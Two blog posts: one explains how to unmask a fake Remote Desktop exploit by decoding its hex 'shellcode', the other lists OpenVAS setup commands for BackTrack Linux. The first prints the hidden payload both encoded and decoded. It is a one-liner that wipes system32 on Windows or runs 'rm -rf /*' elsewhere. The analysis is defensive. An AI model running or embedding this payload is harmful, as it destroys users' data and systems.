Identifying fake shellcode - quick guide

Identifying the fakes

Yesterday I notice one exploit for Microsoft Remote Desktop, with the name "Microsoft Remote Desktop User/Password Reader Exploit" (http://cxsecurity.com/issue/WLB-2013070218).

Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity.

It's always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.

Let's have a look on the exploit mentioned.

Note 1:
The title of the exploit doesn't seem to make sense as MS12-020 is not related to any "User/Password Reader" MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.
(http://www.exploit-db.com/exploits/18606/)

Note 2: 
Looking at the code, there are 2 parts where a shellcode can be identified.

Section 1

The value of the code under the 'xscholler' section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let's have a look on the part of section 2.

An easy method to briefly check what's under there is by reading the values of the hex. echo command under linux can help us to do that.

eg:

echo -e "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
echo -e "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
echo -e "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
echo -e "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
echo -e "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
echo -e "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
echo -e "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
echo -e "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
echo -e "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
echo -e "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
echo -e "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
echo -e "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
echo -e "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
echo -e "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Will produce the following results:

 __import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system() else __import__('os').system('rm -rf /* > /dev/null 2>&1') #hi there ^_~ feel free to spread this with  the rm -rf replaced with something more insidious


So this is just another fake exploit that will try to identify the system and execute a deletion.

Openvas quick installation on Backtrack linux

It’s been some time since I wrote something in this blog, work and contributing in other sites took most of my time, but still this is my personal blog. I find it easier to write something in here and go back to look for it when needed than keeping documents around.

I mostly have Nessus on my disposal but sometimes there is a requirement to perform a security audit using opensource tools, and what is the best alternative to Nessus if not Openvas.

Openvas files are included in the backtrack Linux (BT5 R3). I’m sure you can find lengthy setup guides for it, but this is not one of them, on the contrary I’m trying to make things in a copy paste form for easy setup in less than couple of minutes.

Assuming that you already have a working backtrack installation you can issue the following commands to setup Openvas.

openvas-mkcert                                         #you can press ender here for all
openvasad -c 'add_user' -n admin -r Admin   #add your password here
openvas-mkcert-client -n om –i

openvas-nvt-sync                             #this will take some time
openvassd                                       #again here the plugins will be loaded  it would take a while

openvasmd –rebuild

openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=YOUR_IP -p 9392 #don’t forget to add your ip address here

After that, you can access your Openvas installation at http://Your_IP:9392

Don’t forget to issue,

apt-get install texlive-latex-extra 

on the system in order to be able to generate pdf reports from the web interface.

Some rules of thumb, Openvas takes a lot of CPU time and memory, if you are planning on scanning several C classes and you are having a virtual machine for your installation, use more than 4 VCPUs and around 4Gb of Ram. Generally the more the merrier. Finally a normal scan will take about 1 hour for every C class to be completed.
